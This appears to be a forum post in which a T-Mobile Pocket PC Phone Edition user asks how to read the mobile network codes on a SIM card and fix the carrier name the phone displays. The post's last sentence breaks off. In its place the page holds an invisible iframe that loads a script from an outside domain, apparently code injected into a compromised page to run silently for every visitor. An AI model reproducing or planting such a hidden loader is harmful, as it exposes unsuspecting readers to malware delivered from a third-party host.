On the T-Mo PPC Phone Edition, if you go to settings, Phone, preferred networks, it allows you to priortize your preferred networks.
Knowing as little about GSM as I do, I assume that the listed networks, are pre-set by T-Mo, before shipping the unit.
Mine shows a list of seven or so "Voicestream" followed by Epic Touch, 310702, 310802, 310902, a couple more "VSteams," and AT&T Wireless.
A couple of days ago, I was in Cocoa, FL, and my unit said I was on "Westel." When I got back to my office, I looked up Westel on the web. It seems they are a small carrier in Texas. I called T-Mo CS, and they told me that it must have been "Powertel" who later became Voicestream/T-Mo.
A little research shows me that each SIM card contains MNC's (which I assume stands for Mobile Network Codes.) Each phone intreprets the code for the system to which it's connected and displays the carrier name based on the phone's software.
I used this same SIM card on a Handspring Treo, this summer while driving up I-95 from Florida to Mass. and roamed on Cingular GSM in the Carolinas. So, I know Cingular's MNC's must be on my SIM card.
My question is how can we really tell what MNC's are on our SIM card while using the T-Mo PPCPE? Can we change the table to display the right carrier name? How?
A visit to the official GSM website at
http://www.gsmworld.com/roaming/gsminfo/net_usbe.shtml shows that Cingular's network code is
<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>